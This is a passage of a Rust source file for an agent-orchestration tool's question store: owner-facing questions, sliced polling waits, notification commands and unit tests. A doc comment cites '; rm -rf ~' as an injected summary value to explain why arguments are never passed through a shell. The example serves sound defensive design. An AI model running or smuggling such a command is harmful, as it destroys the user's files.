884        // merged, and no agent waits on it - it is a to-do for the owner, not
885        // a question a dead seat asked. Abandoning it here would erase the
886        // only alert the moment the run settles.
887        let mut abandoned = 0;
888        for mut q in self.open_for(run) {
889            if q.node == crate::bump::NOTICE_NODE {
890                continue;
891            }
892            q.abandon(&why);
893            self.put(&mut q)?;
894            abandoned += 1;
895        }
896        Ok(abandoned)
897    }
898
899    /// Expand an id prefix to exactly one question id. The short id the phone
900    /// and the reports show is a suffix, so that is accepted too.
901    pub fn resolve_id(&self, prefix: &str) -> Result<String> {
902        if self.path_of(prefix).is_file() {
903            return Ok(prefix.to_owned());
904        }
905        let hits: Vec<String> = self
906            .list()
907            .into_iter()
908            .map(|q| q.id)
909            .filter(|id| id.starts_with(prefix) || id.ends_with(prefix))
910            .collect();
911        match hits.len() {
912            1 => Ok(hits.into_iter().next().expect("exactly one hit")),
913            0 => bail!("no question matches `{prefix}`"),
914            _ => bail!(
915                "`{prefix}` matches {} questions: {}",
916                hits.len(),
917                hits.join(", ")
918            ),
919        }
920    }
921
922    /// Newest modification time in the store, in milliseconds, for change
923    /// detection. The web UI compares this instead of re-reading every
924    /// question, so an idle phone on a slow link costs one `stat` per file.
925    pub fn revision(&self) -> u64 {
926        std::fs::read_dir(&self.root)
927            .into_iter()
928            .flatten()
929            .flatten()
930            .filter_map(|e| e.metadata().ok())
931            .filter_map(|m| m.modified().ok())
932            .filter_map(|t| t.duration_since(std::time::UNIX_EPOCH).ok())
933            .map(|d| d.as_millis() as u64)
934            .max()
935            .unwrap_or(0)
936    }
937
938    /// How many questions are open, whichever side of the conversation is
939    /// holding the ball right now. Ten turns of back and forth between the
940    /// owner and the agent are still one open question - see
941    /// [`Question::say`] - so this does not drop while a reply is in
942    /// flight. [`Self::count_needs_owner`] is the number that does.
943    pub fn count_open(&self) -> usize {
944        self.list().iter().filter(|q| q.status.open()).count()
945    }
946
947    /// How many open questions actually need the owner right now: open, and
948    /// not [`Question::waiting_on_agent`].
949    ///
950    /// This is the number a notification channel owes - the ask bar, the nav
951    /// badge, the document title - because those exist to say "something
952    /// needs you", and a question sitting in `magi ask --thread` limbo does
953    /// not. `count_open` stays as it is for [`Self::open_for`]'s callers,
954    /// where a round trip must not look like the run resumed.
955    pub fn count_needs_owner(&self) -> usize {
956        self.list()
957            .iter()
958            .filter(|q| q.status.open() && !q.waiting_on_agent())
959            .count()
960    }
961}
962
963/// How a wait over [`Question`] ended.
964#[derive(Debug, Clone, PartialEq, Eq)]
965pub enum Wait {
966    /// The owner decided. Carries [`Question::resolution`].
967    Answered(String),
968    /// The owner spoke back without deciding - see [`Question::say`]. The
969    /// question is still [`QuestionStatus::Open`] and carries no [`Answer`];
970    /// the caller's move is to hand this text to the agent and let it call
971    /// `magi ask --thread` to keep talking, not to treat it as a decision.
972    Replied(String),
973    /// This call's [`WAIT_SLICE`] ran out with the question still
974    /// [`QuestionStatus::Open`] and nothing having happened - not the owner
975    /// going quiet, the clock on *this process* running out. The question is
976    /// untouched; the caller's move is `magi ask --wait <id>` in a fresh
977    /// process, so the wait resumes before the shell tool that would have
978    /// killed this one gets the chance.
979    Pending,
980    /// Nobody said anything before the deadline, or the question was closed
981    /// out from under the wait with no decision recorded - a run deleted out
982    /// from under it, most often. Either way [`QuestionStatus::Abandoned`] is
983    /// now on disk.
984    Abandoned,
985}
986
987/// File a question and wait for the owner, polling the store.
988///
989/// The question is updated in place from disk whenever the wait ends, so the
990/// caller can act on it without re-reading it. `timeout` is the question's
991/// whole `answer_timeout` budget, but this call spends at most [`WAIT_SLICE`]
992/// of it - see [`Wait::Pending`] for what happens to the rest.
993pub async fn ask_and_wait(
994    q: &mut Question,
995    store: &Questions,
996    notify: &config::Notify,
997    timeout: Duration,
998) -> Result<Wait> {
999    wait_for_owner(q, store, notify, timeout, POLL).await
1000}
1001
1002/// Resume a wait already filed, without adding a turn or notifying again.
1003///
1004/// This is `magi ask --wait <id>`'s engine: the process that owned the
1005/// previous slice is dead (the tool that ran it killed it, or it simply
1006/// exited after reporting [`Wait::Pending`]), but the question on disk never
1007/// stopped being open, and the owner was already notified about it once. A
1008/// second notification for the same unanswered question would page the
1009/// owner every [`WAIT_SLICE`] for a question they have already seen - so,
1010/// unlike [`ask_and_wait`], this skips straight to polling.
1011///
1012/// `timeout` is **not** re-armed to a fresh `answer_timeout` here - the
1013/// caller computes it as what remains until [`Question::asked_at`] plus the
1014/// configured `answer_timeout`, so stacking `--wait` calls can only ever use
1015/// up the deadline the first ask set, never push it out further.
1016pub async fn resume_wait(q: &mut Question, store: &Questions, timeout: Duration) -> Result<Wait> {
1017    wait_loop(q, store, timeout, WAIT_SLICE, POLL).await
1018}
1019
1020/// [`ask_and_wait`] with the poll interval injected.
1021///
1022/// Separate only so the tests can drive a whole wait in milliseconds instead of
1023/// sleeping through [`POLL`]; production has exactly one interval, and it is not
1024/// a knob the operator gets to tune.
1025async fn wait_for_owner(
1026    q: &mut Question,
1027    store: &Questions,
1028    cfg: &config::Notify,
1029    timeout: Duration,
1030    poll: Duration,
1031) -> Result<Wait> {
1032    store.put(q).context("file the question")?;
1033    if q.should_notify(Timestamp::now()) {
1034        if let Err(e) = notify(cfg, q).await {
1035            // A broken webhook is not a reason to throw away an implementation.
1036            // The question is already on disk and the web UI already shows it,
1037            // so the operator still has a way in; only the tap on the shoulder
1038            // is lost.
1039            tracing::warn!(
1040                "could not notify about question {}: {e:#} - the web UI is the \
1041                 only surface for it now",
1042                q.short()
1043            );
1044        }
1045    }
1046    tracing::info!(
1047        "question {} from {} is waiting for you: {}",
1048        q.short(),
1049        q.seat,
1050        q.summary
1051    );
1052    wait_loop(q, store, timeout, WAIT_SLICE, poll).await
1053}
1054
1055/// The polling loop shared by a fresh wait and a resumed one.
1056///
1057/// `timeout` is the budget left before the question's `answer_timeout`
1058/// truly runs out; `slice` bounds how much of that this one call spends
1059/// before handing control back. Landing on `slice` while `timeout` still has
1060/// budget left is [`Wait::Pending`] - the caller's move, not the owner's
1061/// silence. Landing on `timeout` itself - because it was no bigger than
1062/// `slice` to begin with - is the real thing, and abandons the question
1063/// exactly as a single unsliced wait always did.
1064async fn wait_loop(
1065    q: &mut Question,
1066    store: &Questions,
1067    timeout: Duration,
1068    slice: Duration,
1069    poll: Duration,
1070) -> Result<Wait> {
1071    // The owner may already have spoken back before this call ever started -
1072    // most often because they did so in the gap between an earlier call
1073    // reporting `Wait::Pending` and this one picking the wait back up with
1074    // `--wait`. That word must surface at once rather than sit unnoticed
1075    // until some *later* turn happens to change something: this call never
1076    // saw it get added, so nothing below would otherwise recognise it as
1077    // new. `last_word_awaiting_reply` reads the question's own record of
1078    // whose turn it is - see [`Question::waiting_on_agent`] - rather than a
1079    // turn count this call would have to have been there to capture.
1080    if let Some(said) = last_word_awaiting_reply(q) {
1081        return Ok(Wait::Replied(said.to_owned()));
1082    }
1083
1084    let bounded = timeout.min(slice);
1085    let is_the_real_deadline = bounded >= timeout;
1086    let deadline = tokio::time::Instant::now() + bounded;
1087    loop {
1088        let now = tokio::time::Instant::now();
1089        if now >= deadline {
1090            if !is_the_real_deadline {
1091                return Ok(Wait::Pending);
1092            }
1093            q.abandon(format!(
1094                "no answer within {}s of asking",
1095                timeout.as_secs().max(1)
1096            ));
1097            store.put(q).context("record the abandoned question")?;
1098            tracing::warn!(
1099                "question {} went unanswered for {}s; the run parks and the \
1100                 question stays as the record of it",
1101                q.short(),
1102                timeout.as_secs()
1103            );
1104            return Ok(Wait::Abandoned);
1105        }
1106        tokio::time::sleep(poll.min(deadline - now)).await;
1107        match store.get(&q.id) {
1108            Ok(fresh) if !fresh.status.open() => {
1109                // Whoever answered - the phone, `magi answer`, another daemon -
1110                // owns the record now, so adopt theirs wholesale rather than
1111                // merging into a copy that predates it.
1112                *q = fresh;
1113                return Ok(match q.resolution() {
1114                    Some(a) => Wait::Answered(a),
1115                    // Closed with no decision - abandoned elsewhere, most
1116                    // often by the run behind it being deleted mid-wait.
1117                    None => Wait::Abandoned,
1118                });
1119            }
1120            Ok(fresh) => {
1121                if let Some(said) = last_word_awaiting_reply(&fresh) {
1122                    let said = said.to_owned();
1123                    *q = fresh;
1124                    return Ok(Wait::Replied(said));
1125                }
1126                // Still open and not waiting on the agent - nothing this
1127                // wait cares about happened, so keep polling.
1128            }
1129            Err(e) => {
1130                // Mid-rename, or a file the operator is editing by hand.
1131                // Neither is a reason to abandon a question a human may still
1132                // answer, so keep polling until the deadline decides.
1133                tracing::debug!("could not re-read question {}: {e:#}", q.short());
1134            }
1135        }
1136    }
1137}
1138
1139/// The owner's own last word, if the agent has not caught up on it yet.
1140///
1141/// A thin wrapper over [`Question::waiting_on_agent`] that also hands back
1142/// what was said: the state is on the record itself, not derived from
1143/// anything this call has seen happen, so it reads correctly whether this is
1144/// the process that has been polling all along or a fresh `--wait` that just
1145/// loaded the question off disk for the first time. `None` on a fresh
1146/// question, one the agent already replied to, or one that is no longer
1147/// open.
1148fn last_word_awaiting_reply(q: &Question) -> Option<&str> {
1149    if !q.waiting_on_agent() {
1150        return None;
1151    }
1152    q.thread.last().map(|t| t.body.as_str())
1153}
1154
1155/// Run the operator's notification command, if one is configured.
1156///
1157/// The command is argv, never a shell string, and the substitutions below are a
1158/// single pass over each argument: a summary containing `; rm -rf ~` is one
1159/// argument to one program, and a summary containing the characters `{run}` is
1160/// not re-expanded. That property is the reason agent-authored text can be put
1161/// in a notification at all.
1162///
1163/// An error here is reported, not swallowed, so `magi notify --test` can show
1164/// the operator why nothing arrives. The waiting path logs it and carries on.
1165pub async fn notify(cmd: &config::Notify, q: &Question) -> Result<()> {
1166    let Some((program, args)) = cmd.command.split_first() else {
1167        // No command configured: the web UI is the only surface, by choice.
1168        return Ok(());
1169    };
1170    let url = web_url();
1171    if url.is_empty() && cmd.command.iter().any(|a| a.contains("{url}")) {
1172        tracing::warn!(
1173            "the notification command uses {{url}} but {WEB_URL_ENV} is unset, \
1174             so the link will be empty - export it next to `magi serve` with \
1175             the address `magi web --open` printed"
1176        );
1177    }
1178    let argv: Vec<String> = args.iter().map(|a| expand(a, q, &url)).collect();
1179    tracing::debug!(program = %program, args = ?argv, "notifying");
1180
1181    let mut child = tokio::process::Command::new(program);
1182    child.quiet();
1183    child
1184        .args(&argv)
1185        .stdin(std::process::Stdio::null())
1186        // Killed if the timeout below drops this future: a notification
1187        // command left running would outlive the run it was announcing.
1188        .kill_on_drop(true);
1189    let out = match tokio::time::timeout(NOTIFY_TIMEOUT, child.output()).await {
1190        Ok(r) => r.with_context(|| format!("run notification command `{program}`"))?,
1191        Err(_) => bail!(
1192            "notification command `{program}` did not finish within {}s",
1193            NOTIFY_TIMEOUT.as_secs()
1194        ),
1195    };
1196    if !out.status.success() {
1197        let stderr = String::from_utf8_lossy(&out.stderr);
1198        let why = stderr
1199            .lines()
1200            .rev()
1201            .find(|l| !l.trim().is_empty())
1202            .unwrap_or("no output on stderr")
1203            .trim();
1204        bail!(
1205            "notification command `{program}` exited with {}: {why}",
1206            out.status
1207        );
1208    }
1209    Ok(())
1210}
1211
1212/// Substitute `{summary}`, `{run}` and `{url}` into one argument.
1213///
1214/// One left-to-right pass, so a substituted value is never scanned for further
1215/// placeholders. Agent prose contains braces, and an agent quoting `{summary}`
1216/// in a question must not make the notification recursive.
1217fn expand(template: &str, q: &Question, url: &str) -> String {
1218    let table = [
1219        ("{summary}", q.summary.as_str()),
1220        ("{run}", q.run.as_str()),
1221        ("{url}", url),
1222    ];
1223    let mut out = String::with_capacity(template.len());
1224    let mut rest = template;
1225    while let Some(at) = rest.find('{') {
1226        out.push_str(&rest[..at]);
1227        let tail = &rest[at..];
1228        match table.iter().find(|(token, _)| tail.starts_with(token)) {
1229            Some((token, value)) => {
1230                out.push_str(value);
1231                rest = &tail[token.len()..];
1232            }
1233            None => {
1234                // Not a placeholder magi knows: it is the operator's own text.
1235                out.push('{');
1236                rest = &tail[1..];
1237            }
1238        }
1239    }
1240    out.push_str(rest);
1241    out
1242}
1243
1244/// The URL `{url}` expands to, from [`WEB_URL_ENV`].
1245fn web_url() -> String {
1246    question_url(&std::env::var(WEB_URL_ENV).unwrap_or_default())
1247}
1248
1249/// Point a configured base URL at the view that can answer the question.
1250///
1251/// A notification the operator has to navigate from is a question that stays
1252/// unanswered until morning, so the questions view is appended - unless the
1253/// operator already wrote a fragment, in which case they have said where they
1254/// want to land and magi does not know better.
1255fn question_url(base: &str) -> String {
1256    let base = base.trim().trim_end_matches('/');
1257    if base.is_empty() || base.contains('#') {
1258        return base.to_owned();
1259    }
1260    format!("{base}/#/questions")
1261}
1262
1263/// Assemble a panel's contents in an already-empty directory.
1264///
1265/// Split out so [`Questions::put_panel`] can delete the whole directory on the
1266/// first error without an early `return` skipping that cleanup.
1267fn fill_panel(dir: &Path, html: &str, assets: &[(String, &Path)]) -> Result<()> {
1268    let index = dir.join(PANEL_HTML);
1269    std::fs::write(&index, html).with_context(|| format!("write {}", index.display()))?;
1270    for (name, src) in assets {
1271        let dst = dir.join(name);
1272        std::fs::copy(src, &dst)
1273            .with_context(|| format!("copy {} to {}", src.display(), dst.display()))?;
1274    }
1275    Ok(())
1276}
1277
1278/// Remove a directory and everything under it, treating "not there" as done.
1279///
1280/// A panel is replaced wholesale and dropped idempotently, and in both cases
1281/// the absence of the directory is the desired end state, not an error.
1282fn clear_dir(path: &Path) -> Result<()> {
1283    match std::fs::remove_dir_all(path) {
1284        Ok(()) => Ok(()),
1285        Err(e) if e.kind() == std::io::ErrorKind::NotFound => Ok(()),
1286        Err(e) => Err(e).with_context(|| format!("remove {}", path.display())),
1287    }
1288}
1289
1290fn read_path(path: &Path) -> Result<Question> {
1291    let body = std::fs::read_to_string(path).with_context(|| format!("read {}", path.display()))?;
1292    let q: Question =
1293        serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
1294    if q.schema > SCHEMA {
1295        // Strictly newer, not merely different: every field added since
1296        // schema 1 carries `#[serde(default)]`, so an *older* schema reads
1297        // here as "no thread yet" rather than as garbage. Only a schema this
1298        // build has never heard of is refused.
1299        bail!(
1300            "question {} was written by a newer magi (schema {}, this build \
1301             only speaks up to {SCHEMA})",
1302            q.id,
1303            q.schema
1304        );
1305    }
1306    Ok(q)
1307}
1308
1309fn short(id: &str) -> &str {
1310    id.split('-').next_back().unwrap_or(id)
1311}
1312
1313fn new_id() -> String {
1314    let stamp = jiff::Zoned::now().strftime("%Y%m%d-%H%M%S");
1315    let seed = crate::rng::entropy();
1316    format!("{stamp}-{:04x}", (seed ^ (seed >> 32)) & 0xffff)
1317}
1318
1319#[cfg(test)]
1320mod tests {
1321    use super::*;
1322
1323    /// A store of its own, with no process-global state - which is the point of
1324    /// `Questions::at`, and why these can run in parallel.
1325    fn store() -> (tempfile::TempDir, Questions) {
1326        let dir = tempfile::tempdir().unwrap();
1327        let s = Questions::at(dir.path().join("questions"));
1328        (dir, s)
1329    }
1330
1331    #[test]
1332    fn deleting_a_run_stops_its_questions_asking() {
1333        let (_dir, store) = store();
1334
1335        let mut open_one = choice_question();
1336        store.put(&mut open_one).unwrap();
1337        let mut answered = free_question();
1338        answered
1339            .answer(Answer::Text("keep this".to_owned()))
1340            .unwrap();
1341        store.put(&mut answered).unwrap();
1342        let mut elsewhere = choice_question();
1343        elsewhere.run = "20260903-105039-3cbf".to_owned();
1344        store.put(&mut elsewhere).unwrap();
1345
1346        let n = store
1347            .abandon_for_run(&open_one.run, "run was deleted")
1348            .unwrap();
1349        assert_eq!(n, 1, "only the open question of that run");
1350
1351        let back = store.get(&open_one.id).unwrap();
1352        assert!(!back.status.open(), "it no longer asks for a decision");
1353        assert!(
1354            back.detail.contains("run was deleted"),
1355            "the operator can see why: {}",
1356            back.detail
1357        );
1358
1359        let kept = store.get(&answered.id).unwrap();
1360        assert_eq!(
1361            kept.status,
1362            QuestionStatus::Answered,
1363            "an answered question is a decision on record, not something to revoke"
1364        );
1365        assert!(
1366            store.get(&elsewhere.id).unwrap().status.open(),
1367            "another run's question is untouched"
1368        );
1369        assert!(store.open_for(&open_one.run).is_empty());
1370    }
1371
1372    #[test]
1373    fn settle_run_abandons_only_for_a_status_that_is_not_resumable() {
1374        let (_dir, store) = store();
1375        let mut q = choice_question();
1376        store.put(&mut q).unwrap();
1377
1378        // `Blocked` can still be resumed - leave it exactly as it was.
1379        let n = store.settle_run(&q.run, RunStatus::Blocked).unwrap();
1380        assert_eq!(n, 0);
1381        assert!(store.get(&q.id).unwrap().status.open());
1382
1383        // `Failed` is not - abandon it, with the run and its fate in the
1384        // reason so the owner can tell what happened without a run to read.
1385        let n = store.settle_run(&q.run, RunStatus::Failed).unwrap();
1386        assert_eq!(n, 1);
1387        let back = store.get(&q.id).unwrap();
1388        assert!(!back.status.open());
1389        assert!(back.detail.contains(&q.run) && back.detail.contains("failed"));
1390
1391        // A second call against the same, now-settled run finds nothing left.
1392        assert_eq!(store.settle_run(&q.run, RunStatus::Failed).unwrap(), 0);
1393    }
1394
1395    fn choice_question() -> Question {
1396        Question::new(
1397            "20260902-201256-9fb7".to_owned(),
1398            "implement".to_owned(),
1399            "impl-A".to_owned(),
1400            "Which storage backend should the cache use?".to_owned(),
1401            "Both are already dependencies.".to_owned(),
1402            vec!["SQLite".to_owned(), "Redis".to_owned()],
1403        )
1404    }
1405
1406    fn free_question() -> Question {
1407        Question::new(
1408            "20260902-201256-9fb7".to_owned(),
1409            "review".to_owned(),
1410            "rev-1".to_owned(),
1411            "What should the error message say?".to_owned(),
1412            String::new(),
1413            Vec::new(),
1414        )
1415    }
1416
1417    /// No notification, which is the default and what most of these want.
1418    fn quiet() -> config::Notify {
1419        config::Notify::default()
1420    }
1421
1422    #[test]
1423    fn the_stored_json_is_the_shape_the_web_ui_was_written_against() {
1424        // The front end parses these names by hand; there is no shared schema
1425        // and no compiler between the two. A rename here is a UI that shows an
1426        // empty card and reports no error, so the names are asserted literally.
1427        let mut q = choice_question();
1428        q.id = "20260902-231501-ab12".to_owned();
1429        let open: serde_json::Value = serde_json::to_value(&q).unwrap();
1430        // `serde_json::Value` holds an object's keys sorted, and key order
1431        // means nothing to a JSON reader anyway: the field *set* is what the
1432        // front end was written against, so that is what is pinned here.
1433        let keys: Vec<&str> = open
1434            .as_object()
1435            .unwrap()
1436            .keys()
1437            .map(String::as_str)
1438            .collect();
1439        assert_eq!(
1440            keys,
1441            [
1442                "answer",
1443                "answer_timeout",
1444                "answered_at",
1445                "asked_at",
1446                "assets",
1447                "choices",
1448                "detail",
1449                "id",
1450                "node",
1451                "panel",
1452                "run",
1453                "schema",
1454                "seat",
1455                "status",
1456                "summary",
1457                "thread",
1458            ],
1459            "the on-disk field set is a contract with the front end"
1460        );
1461        assert_eq!(open["schema"], 3);
1462        assert_eq!(open["thread"], serde_json::json!([]));
1463        assert_eq!(open["id"], "20260902-231501-ab12");
1464        assert_eq!(open["run"], "20260902-201256-9fb7");
1465        assert_eq!(open["node"], "implement");
1466        assert_eq!(open["seat"], "impl-A");
1467        assert_eq!(open["status"], "open");
1468        assert_eq!(open["choices"], serde_json::json!(["SQLite", "Redis"]));
1469        assert_eq!(open["answered_at"], serde_json::Value::Null);
1470        assert_eq!(open["answer"], serde_json::Value::Null);
1471        let asked = open["asked_at"].as_str().unwrap();
1472        assert!(
1473            asked.ends_with('Z') && asked.contains('T'),
1474            "timestamps are UTC RFC 3339, which is what `new Date()` parses: {asked}"
1475        );
1476
1477        // A chosen option, exactly as the contract spells it.
1478        q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
1479        let answered = serde_json::to_value(&q).unwrap();
1480        assert_eq!(answered["status"], "answered");
1481        assert_eq!(answered["answer"], serde_json::json!({"choice": "SQLite"}));
1482        assert!(answered["answered_at"].is_string());
1483
1484        // And free text, which is the other of the two forms.
1485        let mut free = free_question();
1486        free.answer(Answer::Text("Say which file it was".to_owned()))
1487            .unwrap();
1488        assert_eq!(
1489            serde_json::to_value(&free).unwrap()["answer"],
1490            serde_json::json!({"text": "Say which file it was"})
1491        );
1492
1493        // And it survives the round trip a reader actually performs.
1494        let body = serde_json::to_string(&q).unwrap();
1495        assert_eq!(serde_json::from_str::<Question>(&body).unwrap(), q);
1496    }
1497
1498    #[test]
1499    fn an_answer_the_question_never_offered_is_refused_with_its_own_reason() {
1500        // Four different mistakes, four different fixes: the web handler shows
1501        // these strings to the person who made them.
1502        let mut unoffered = choice_question();
1503        let a = unoffered
1504            .answer(Answer::Choice("Postgres".to_owned()))
1505            .unwrap_err()
1506            .to_string();
1507
1508        let mut typed = choice_question();
1509        let b = typed
1510            .answer(Answer::Text("use Postgres".to_owned()))
1511            .unwrap_err()
1512            .to_string();
1513
1514        let mut blank = free_question();
1515        let c = blank
1516            .answer(Answer::Text("   \n".to_owned()))
1517            .unwrap_err()
1518            .to_string();
1519
1520        let mut twice = choice_question();
1521        twice.answer(Answer::Choice("SQLite".to_owned())).unwrap();
1522        let d = twice
1523            .answer(Answer::Choice("Redis".to_owned()))
1524            .unwrap_err()
1525            .to_string();
1526
1527        assert!(a.contains("not one of the choices"), "{a}");
1528        assert!(b.contains("multiple choice"), "{b}");
1529        assert!(c.contains("empty"), "{c}");
1530        assert!(d.contains("already answered"), "{d}");
1531        let mut distinct = vec![a, b, c, d];
1532        let asked = distinct.len();
1533        distinct.sort_unstable();
1534        distinct.dedup();
1535        assert_eq!(distinct.len(), asked, "each rejection is distinguishable");
1536
1537        // The refused ones are still open, so the owner can answer properly.
1538        assert_eq!(unoffered.status, QuestionStatus::Open);
1539        assert_eq!(typed.status, QuestionStatus::Open);
1540        assert_eq!(blank.status, QuestionStatus::Open);
1541        // And the first answer to the double-answered one survived.
1542        assert_eq!(twice.resolution().as_deref(), Some("SQLite"));
1543
1544        // Free text refuses a fabricated choice for the mirror-image reason.
1545        let mut free = free_question();
1546        let e = free
1547            .answer(Answer::Choice("SQLite".to_owned()))
1548            .unwrap_err()
1549            .to_string();
1550        assert!(e.contains("free text"), "{e}");
1551    }
1552
1553    #[test]
1554    fn open_questions_are_listed_before_answered_ones() {
1555        let (_dir, s) = store();
1556        // Ids carry a timestamp, so force a known order: the answered one is
1557        // the newest, and must still sort below the open ones.
1558        let mut old_open = choice_question();
1559        old_open.id = "20260101-000001-aaaa".to_owned();
1560        let mut new_open = choice_question();
1561        new_open.id = "20260101-000002-bbbb".to_owned();
1562        let mut answered = choice_question();
1563        answered.id = "20260101-000003-cccc".to_owned();
1564        answered.answer(Answer::Choice("Redis".to_owned())).unwrap();
1565        for q in [&mut old_open, &mut new_open, &mut answered] {
1566            s.put(q).unwrap();
1567        }
1568
1569        let ids: Vec<String> = s.list().into_iter().map(|q| q.id).collect();
1570        assert_eq!(
1571            ids,
1572            [
1573                "20260101-000002-bbbb",
1574                "20260101-000001-aaaa",
1575                "20260101-000003-cccc"
1576            ],
1577            "what has stopped work comes first; history sorts underneath"
1578        );
1579        assert_eq!(s.count_open(), 2);
1580        assert_eq!(s.open_for("20260902-201256-9fb7").len(), 2);
1581        assert!(s.open_for("some-other-run").is_empty());
1582        // The short id is what the phone and the reports show.
1583        assert_eq!(s.resolve_id("bbbb").unwrap(), "20260101-000002-bbbb");
1584        assert!(s.get("20260101-000002-bbbb").is_ok());
1585        assert!(s.resolve_id("nope").is_err());
1586        assert!(
1587            s.revision() > 0,
1588            "the store's mtime drives the phone's polling"
1589        );
1590    }
1591
1592    #[test]
1593    fn a_question_file_magi_cannot_read_does_not_take_the_listing_down() {
1594        let (_dir, s) = store();
1595        let mut good = choice_question();
1596        s.put(&mut good).unwrap();
1597        // Truncated by a killed writer, and written by a magi from the future.
1598        std::fs::write(s.path_of("20260101-000009-dead"), "{\"schema\": 1, \"id\"").unwrap();
1599        let future = serde_json::json!({
1600            "schema": 99, "id": "20260101-000010-beef", "run": "r", "node": "n",
1601            "seat": "s", "summary": "?", "detail": "", "choices": [],
1602            "status": "open", "asked_at": "2026-01-01T00:00:00Z",
1603            "answered_at": null, "answer": null,
1604        });
1605        std::fs::write(
1606            s.path_of("20260101-000010-beef"),
1607            serde_json::to_string(&future).unwrap(),
1608        )
1609        .unwrap();
1610
1611        let listed = s.list();
1612        assert_eq!(listed.len(), 1, "one bad file must not hide the open one");
1613        assert_eq!(listed[0].id, good.id);
1614        // Asked for by name, the unreadable one explains itself instead.
1615        let e = s.get("20260101-000010-beef").unwrap_err().to_string();
1616        assert!(e.contains("schema"), "{e}");
1617    }
1618
1619    #[tokio::test]
1620    async fn the_wait_returns_the_answer_another_process_wrote() {
1621        // The phone, `magi answer` and this run are three processes with no
1622        // channel between them: the file is the channel, so the wait has to see
1623        // a write it did not make. Sub-second timings keep this a real wait
1624        // without a real one's duration.
1625        let (dir, s) = store();
1626        let mut q = choice_question();
1627        let id = q.id.clone();
1628        let writer = Questions::at(dir.path().join("questions"));
1629        let handle = tokio::spawn(async move {
1630            tokio::time::sleep(Duration::from_millis(30)).await;
1631            let mut fresh = writer.get(&id).expect("the question was filed first");
1632            fresh.answer(Answer::Choice("SQLite".to_owned())).unwrap();
1633            writer.put(&mut fresh).unwrap();
1634        });
1635
1636        let got = wait_for_owner(
1637            &mut q,
1638            &s,
1639            &quiet(),
1640            Duration::from_secs(5),
1641            Duration::from_millis(10),
1642        )
1643        .await
1644        .unwrap();
1645
1646        handle.await.unwrap();
1647        assert_eq!(got, Wait::Answered("SQLite".to_owned()));
1648        assert_eq!(
1649            q.status,
1650            QuestionStatus::Answered,
1651            "the caller's copy is refreshed from the answering process's record"
1652        );
1653        assert!(q.answered_at.is_some());
1654    }
1655
1656    #[tokio::test]
1657    async fn a_question_nobody_answers_is_abandoned_not_deleted() {
1658        let (_dir, s) = store();
1659        let mut q = choice_question();
1660
1661        let got = wait_for_owner(
1662            &mut q,
1663            &s,
1664            &quiet(),
1665            Duration::from_millis(60),
1666            Duration::from_millis(10),
1667        )
1668        .await
1669        .unwrap();
1670
1671        assert_eq!(
1672            got,
1673            Wait::Abandoned,
1674            "a slow human is not an error; the run parks"
1675        );
1676        assert_eq!(q.status, QuestionStatus::Abandoned);
1677        let on_disk = s.get(&q.id).expect("the record of what was asked survives");
1678        assert_eq!(on_disk.status, QuestionStatus::Abandoned);
1679        assert!(
1680            on_disk.detail.contains("Abandoned:"),
1681            "why nobody answered belongs with the question: {}",
1682            on_disk.detail
1683        );
1684        assert!(on_disk.resolution().is_none());
1685        assert_eq!(s.count_open(), 0);
1686    }
1687
1688    #[tokio::test]
1689    async fn a_slice_running_out_leaves_the_question_open_rather_than_abandoning_it() {
1690        // This is the whole point of slicing: `timeout` (the real
1691        // `answer_timeout` budget) is far larger than `slice`, so the loop
1692        // must land on `slice` first and hand back `Pending` - not read the
1693        // silence so far as the owner having given up.
1694        let (_dir, s) = store();
1695        let mut q = choice_question();
1696        s.put(&mut q).unwrap();
1697
1698        let got = wait_loop(
1699            &mut q,
1700            &s,
1701            Duration::from_secs(3600),
1702            Duration::from_millis(30),
1703            Duration::from_millis(10),
1704        )
1705        .await
1706        .unwrap();
1707
1708        assert_eq!(
1709            got,
1710            Wait::Pending,
1711            "the clock on this call ran out, not the owner's patience"
1712        );
1713        assert_eq!(
1714            q.status,
1715            QuestionStatus::Open,
1716            "a slice expiring must never abandon the question"
1717        );
1718        let on_disk = s.get(&q.id).expect("still on disk, still open");
1719        assert_eq!(
1720            on_disk.status,
1721            QuestionStatus::Open,
1722            "nothing about the record changed just because this call gave up"
1723        );
1724    }
1725
1726    #[tokio::test]
1727    async fn a_wait_resumed_after_a_slice_sees_the_answer_the_first_slice_missed() {
1728        // The shape `magi ask --wait <id>` relies on: one slice finds nothing
1729        // and returns `Pending`, a second slice - a fresh call, exactly as a
1730        // fresh process would make - picks the same question back up and
1731        // sees an answer written in between.
1732        let (dir, s) = store();
1733        let mut q = choice_question();
1734        s.put(&mut q).unwrap();
1735
1736        let first = wait_loop(
1737            &mut q,
1738            &s,
1739            Duration::from_secs(3600),
1740            Duration::from_millis(30),
1741            Duration::from_millis(10),
1742        )
1743        .await
1744        .unwrap();
1745        assert_eq!(first, Wait::Pending);
1746
1747        let id = q.id.clone();
1748        let writer = Questions::at(dir.path().join("questions"));
1749        let mut fresh = writer.get(&id).unwrap();
1750        fresh.answer(Answer::Choice("Redis".to_owned())).unwrap();
1751        writer.put(&mut fresh).unwrap();
1752
1753        // `resume_wait` uses its own production poll interval rather than a
1754        // test-injected one, so the budget here only needs to be large enough
1755        // to cover one real poll tick - the point is that it is `resume_wait`
1756        // itself, not a helper, that finds the answer.
1757        let second = resume_wait(&mut q, &s, Duration::from_millis(500))
1758            .await
1759            .unwrap();
1760        assert_eq!(second, Wait::Answered("Redis".to_owned()));
1761        assert_eq!(q.status, QuestionStatus::Answered);
1762    }
1763
1764    #[tokio::test]
1765    async fn a_reply_left_in_the_gap_before_a_resumed_wait_starts_is_never_missed() {
1766        // The owner can speak back while nothing is running at all - between
1767        // one call reporting `Wait::Pending` and the next `--wait` picking
1768        // the question back up - and whoever resumes the wait loads a
1769        // *fresh* copy of the question off disk, one whose thread already
1770        // contains that reply. A baseline taken from that fresh copy would
1771        // treat the reply as pre-existing and never notice it "arrive",
1772        // leaving the agent polling in silence until `answer_timeout`
1773        // eventually abandons the question - replacing the exact accident
1774        // this feature exists to fix with a quieter version of itself.
1775        let (dir, s) = store();
1776        let mut q = choice_question();
1777        s.put(&mut q).unwrap();
1778
1779        let first = wait_loop(
1780            &mut q,
1781            &s,
1782            Duration::from_secs(3600),
1783            Duration::from_millis(30),
1784            Duration::from_millis(10),
1785        )
1786        .await
1787        .unwrap();
1788        assert_eq!(first, Wait::Pending);
1789
1790        // The owner speaks back during the gap, with nobody running yet.
1791        let id = q.id.clone();
